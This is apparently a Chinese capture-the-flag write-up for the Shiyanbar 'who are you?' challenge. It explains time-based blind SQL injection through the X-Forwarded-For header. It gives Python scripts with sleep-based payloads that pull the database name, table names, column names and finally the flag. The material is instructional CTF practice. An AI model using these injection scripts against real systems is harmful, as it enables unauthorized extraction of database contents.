实验吧CTF who are you?基于时间盲注

这是我第三次接触时间盲注，所以就写一个博文和大家分享一下，还能检验我对知识的掌握程度。ღ( ´･ᴗ･` )

点开网址是把你的真实IP地址打印出来！然后立马看网页源代码什么发现都没有！

现在还没有什么想法，用burpsuite抓一下，看看能不能有什么发现

没有什么发现，但是当我们回想打开网页爆出我们的真实ip地址，既然是我们的真实ip，那么在后端应该调用了类似$_SERVER[‘HTTP_X_FORWARDED_FOR’]之类的函数得到我们的真实ip地址。那么我们就用bp来构造一个含有x-forwarded-for的header信息。

　　啊哈，我输入什么就输出什么，这很可能存在漏洞。经过验证确实存在基于时间的盲注。为什么是盲注呢。因为当我们写一些SQL查询语句时，不管正确与否，页面都会把你的输入的原样输出给你，这样我们就不知道我们写的语句对不对，有没有其效果。所以我们在SQL查询正确时让程序sleep一段时间，然后在程序URL请求时，给它限制一个超时时间，这个超时时间小于sleep的时间，也就是说当SQL判断正确时，URL请求那里就会报错，我们捕捉这个错误，让它执行一些操作。

　　废话不多说，给出我用python3写的盲注脚本：

先简单求出当前database的长度：

 import requests

url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
for i in range(1,30):

key = {'x-forwarded-for':"'+"+"(select case when (length(database())='%s')then sleep(5) else 1 end) and '1'='1"%i}
try:
print("正在第%s次判断"%i)
r = requests.get(url, headers=key,timeout=4)
except:
print("库名长度为%s"%i)
break

 

嗯~ 知道表的长度了，现在爆出库名

import requests
import string

url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
str="qwertyuiopasdfghjklzxcvbnm1234567890QWERTYUIOPASDFGHJKLZXCVBNM"
databaseName=''
for i in range(1,5):
    for payload in str:
        key = {'X-forwarded-for':"'+"+"(select case when (substring((database()) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(i,payload)}
        try:
            print(key)
            r = requests.get(url, headers=key,timeout=4)
        except:
            databaseName+=payload
            print("数据库名为是%s"%databaseName)
            break
print(databaseName)

直接报表名

import requests
import string

url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
str=string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation
tableName=[]
for i in range(0,5):   #假设web4中有五个表
    Name=''
    flag2=0
    for col in range(1,11):#假设每个表的最大长度不超过10
        flag=0
        for payload in str:
            key = {
                'X-forwarded-for': "'+" + "(select case when (substring((select table_name "
                    "from information_schema.tables where (table_schema='web4') limit 1 "
                    "offset %d) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(i,col,payload)}
            try:
                print(key)
                r = requests.get(url, headers=key, timeout=4)
            except:
                flag=1
                flag2=1
                Name += payload
                print("第%s个表为是%s" % (i+1,Name))
                break
        #tableName.append(Name)
        if flag==0:
            break
    if(flag2==0):
        break
    tableName.append(Name)

for a in range(len(tableName)):
    print(tableName[a])

这里我们一看对我们有用的表应该是flag

开始爆flag表中的所有列名

import requests
import string

url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
str=string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation
columnName=[]
for i in range(0,5):   #假设flag中有五个列
    Name=''
    flag2=0
    for col in range(1,11):#假设每个列名的最大长度不超过10
        flag=0
        for payload in str:
            key = {
                'X-forwarded-for': "'+" + "(select case when (substring((select column_name "
                    "from information_schema.columns where (table_name='flag') limit 1 "
                    "offset %d) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(i,col,payload)}
            try:
                print(key)
                r = requests.get(url, headers=key, timeout=4)
            except:
                flag=1
                flag2=1
                Name += payload
                print("第%s个表为是%s" % (i+1,Name))
                break
        #tableName.append(Name)
        if flag==0:
            break
    if(flag2==0):
        break
    columnName.append(Name)

for a in range(len(columnName)):
    print(columnName[a])

这里我没有该输出，应该是“第一个字段名是flag”，既然知道了表和列名，开始爆内容吧！

import requests
import string

url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
str=string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation
columnName=''

for col in range(1,45):#假设每个列名的最大长度不超过10
    flag=0
    for payload in str:
        key = {
                'X-forwarded-for': "'+" + "(select case when (substring((select flag from flag) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(col,payload)}
        try:
            print(key)
            r = requests.get(url, headers=key, timeout=4)
        except:
            flag=1
            columnName += payload
            print("内容为是%s" %columnName)
            break

    if flag==0:
        break

print(columnName)

嗯~ flag就出来了，希望对您有帮助！